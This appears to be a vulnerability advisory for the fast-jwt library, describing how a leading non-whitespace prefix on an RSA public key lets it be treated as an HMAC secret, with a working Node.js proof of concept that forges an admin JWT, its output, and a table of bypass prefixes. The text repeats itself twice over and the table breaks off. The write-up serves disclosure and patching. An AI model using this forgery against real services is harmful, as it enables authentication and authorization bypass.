CVE-2026-107722

fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.

fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.

Summary

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.

Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).

Verified on [email protected] (latest as of 2026-04-23) with a 10-line PoC.

Details

Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):

function performDetectPublicKeyAlgorithms(key) {
    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this
    if (publicKeyPemMatcher.test(trimmedKey)) {
        // treat as RSA/EC public key
        ...
    }
    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix
    ...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.

Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).

PoC

'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);

Observed output (2026-04-23, fresh npm install):

Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2

Full bypass matrix (all verified accepting a forged admin token)

| Leading content | Accepted as admin? | |---|:-:| | # some comment\n + PEM | ✅ BYPASS | | U+0000 (NUL) + PEM | ✅ BYPASS | | U+0001 (SOH) + PEM | ✅ BYPASS | | U+0008 (BACKSPACE) + PEM | ✅ BYPASS | | U+001B (ESC, ANSI-color) + PEM | ✅ BYPASS | | U+007F (DEL) + PEM | ✅ BYPASS | | U+200B (ZWSP) + PEM | ✅ BYPASS | | U+200D (ZWJ) + PEM | ✅ BYPASS | | HTTP/1.1 200 OK\r\n\r\n + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | |…

fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.

fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.

Summary

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.

Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).

Verified on [email protected] (latest as of 2026-04-23) with a 10-line PoC.

Details

Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):

function performDetectPublicKeyAlgorithms(key) {
    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this
    if (publicKeyPemMatcher.test(trimmedKey)) {
        // treat as RSA/EC public key
        ...
    }
    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix
    ...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.

Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).

PoC

'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);

Observed output (2026-04-23, fresh npm install):

Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2

Full bypass matrix (all verified accepting a forged admin token)

| Leading content | Accepted as admin? | |---|:-:| | # some comment\n + PEM | ✅ BYPASS | | U+0000 (NUL) + PEM | ✅ BYPASS | | U+0001 (SOH) + PEM | ✅ BYPASS | | U+0008 (BACKSPACE) + PEM | ✅ BYPASS | | U+001B (ESC, ANSI-color) + PEM | ✅ BYPASS | | U+007F (DEL) + PEM | ✅ BYPASS | | U+200B (ZWSP) + PEM | ✅ BYPASS | | U+200D (ZWJ) + PEM | ✅ BYPASS | | HTTP/1.1 200 OK\r\n\r\n + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | |…